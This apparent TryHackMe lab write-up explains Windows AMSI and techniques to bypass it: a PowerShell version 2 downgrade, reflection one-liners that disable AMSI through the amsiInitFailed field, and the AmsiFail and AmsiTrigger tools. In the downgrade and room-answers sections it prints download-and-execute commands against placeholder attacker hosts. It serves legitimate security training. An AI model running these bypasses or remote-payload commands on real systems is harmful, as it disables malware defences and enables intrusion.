Bypassing Anti-Malware Scanning Interface (AMSI) Explained | TryHackMe Runtime Detection Evasion

We covered the concept of runtime detection using Anti-Malware Scanning Interface (AMSI). We also covered common bypass methods such as Powershell downgrade and Powershell reflection attacks. Finally we discussed automated tools to bypass AMSI such as amsi.fail. This was a lab material for demonstration as part of TryHackMe Runtime Detection Evasion which is part of red team pathway.

Understanding Runtime Detection

Runtime detection is a security mechanism that analyzes an application’s behavior while it is actively running in the system’s memory. This is distinct from traditional antivirus (AV) scanning, which typically inspects files on disk before execution. Runtime detection is often a prerequisite for successful AV evasion, as it focuses on what the code does rather than just what it is.

Here’s how it generally works:

• When an application executes, it makes API calls and interacts with various system components, including .NET libraries.
• Runtime detection systems monitor these interactions and scan the application’s code as it resides in memory.
• They look for suspicious activities, such as unexpected modifications to the registry, file system changes, or known malicious code patterns.
• If the behavior is deemed malicious, the detection system can block the application.
• This applies to various executable types, including compiled programs, PowerShell scripts, and other scripting languages.

While traditional AV scans files on disk, runtime detection scrutinizes them during execution. Modern AV solutions often integrate runtime detection capabilities for a more layered defense. Windows Defender, the built-in AV for Windows, includes a key runtime detection component called AMSI.

The Anti-Malware Scan Interface (AMSI)

AMSI (Anti-Malware Scan Interface) is a PowerShell security feature that will allow any applications or services to integrate directly into anti-malware products. Defender instruments AMSI to scan payloads and scripts before execution inside the .NET runtime. From Microsoft: “The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any anti-malware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.”

For more information about AMSI, check out the Windows docs.

AMSI is triggered in several common scenarios, including:

• User Account Control (UAC) prompts that appear when an application requests administrator privileges.
• Execution of PowerShell scripts.
• Running scripts via Windows Script Host (which handles JScript and VBScript).
• Execution of Office VBA macros.

Microsoft defines AMSI as a versatile interface standard that enables applications and services to integrate with any anti-malware product present on a machine. Therefore, when crafting payloads (e.g., malicious Excel macros or PowerShell scripts), attackers must consider that AMSI might be active on the target system and actively scanning their code upon execution.

Bypassing AMSI

Once an attacker gains initial PowerShell access on a target machine (perhaps through a phishing document, UAC bypass, or a simple PowerShell payload), their next hurdle is often AMSI. Several techniques can be employed to bypass it:

1. PowerShell Downgrade Attacks:
   • Concept: This technique exploits the fact that older versions of PowerShell (specifically version 2) lack many of the security features, including deep AMSI integration, found in newer versions (version 3 and above). Most Windows systems have both older and newer versions installed, though version 2 is not the default.
   • Execution: An attacker can force the operating system to use PowerShell version 2 by issuing the command:

powershell -version 2

Or, to execute a specific command in a downgraded session directly from cmd.exe:

powershell -version 2 -command "IEX (New-Object Net.WebClient).DownloadString('http://<attacker_ip>/payload.ps1')"

Once in a PowerShell version 2 environment, malicious commands (like those used by tools such as Mimikatz for credential dumping) can often be executed without AMSI’s interference.

Prevention: Systems can be hardened against this by removing the PowerShell V2 engine or by using application blocklisting to deny access to powershell.exe when invoked with the -version 2 switch.

PowerShell Reflection Attack

• Concept: This method leverages PowerShell’s ability to interact with .NET assemblies using reflection. AMSI itself relies heavily on .NET assemblies, a key one being System.Management.Automation.AmsiUtils. By reflectively accessing and modifying certain components or fields within these AMSI-related assemblies, it’s possible to disable or trick AMSI.
• Execution: A common technique involves using a PowerShell one-liner to manipulate the amsiInitFailed field (or sometimes a field named $amsiInitialized) within the AmsiUtils class. Setting this field to $true or null can effectively make AMSI believe it has failed to initialize or is already initialized in a way that bypasses its scanning capabilities for the current PowerShell session. A conceptual one-liner (the exact code can vary) might look like this:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Or, targeting a similar field:

$utility = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $utility.GetField('amsiInitialized', 'NonPublic,Static')
$field.SetValue($null, $true)

Automated Tools for AMSI Bypass

• AmsiFail:
  • Functionality: This tool generates obfuscated PowerShell snippets designed to break or disable AMSI for the current process. It randomly selects and obfuscates these snippets at runtime to help evade signature-based detection.
  • Usage: An attacker would generate a snippet using AmsiFail and then execute that snippet within their target PowerShell session to neutralize AMSI.
• AmsiTrigger:
  • Functionality: This command-line tool is used to analyze PowerShell scripts to identify specific components (like certain cmdlets, variable names, or string patterns) that are likely to trigger AMSI.
  • Usage: It can be run with flags to specify the input script (path or URL) and the output format. For example:

AmsiTrigger.exe -i "C:\path\to\script.ps1"
AmsiTrigger.exe -i "http://<attacker_ip>/payload.ps1" -f 1 # Shows triggers with line numbers

By identifying these trigger points, an attacker can then manually modify their script, perhaps by renaming variables, obfuscating strings, or rephrasing commands, to make it less detectable by AMSI.

TryHackMe Runtime Detection Evasion Room Answers

This room provides a hands-on environment where users can practice the PowerShell downgrade and reflection attacks. For instance, the downgrade attack might be demonstrated by opening a command prompt (CMD) on the target and running:

powershell -version 2 -command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://<your_tryhackme_ip>/evil.ps1')"

And the reflection attack would involve pasting the one-liner directly into an active PowerShell session on the target machine. Successfully executing these bypasses in the TryHackMe environment typically results in capturing flags, confirming the techniques’ effectiveness.

Video Walkthrough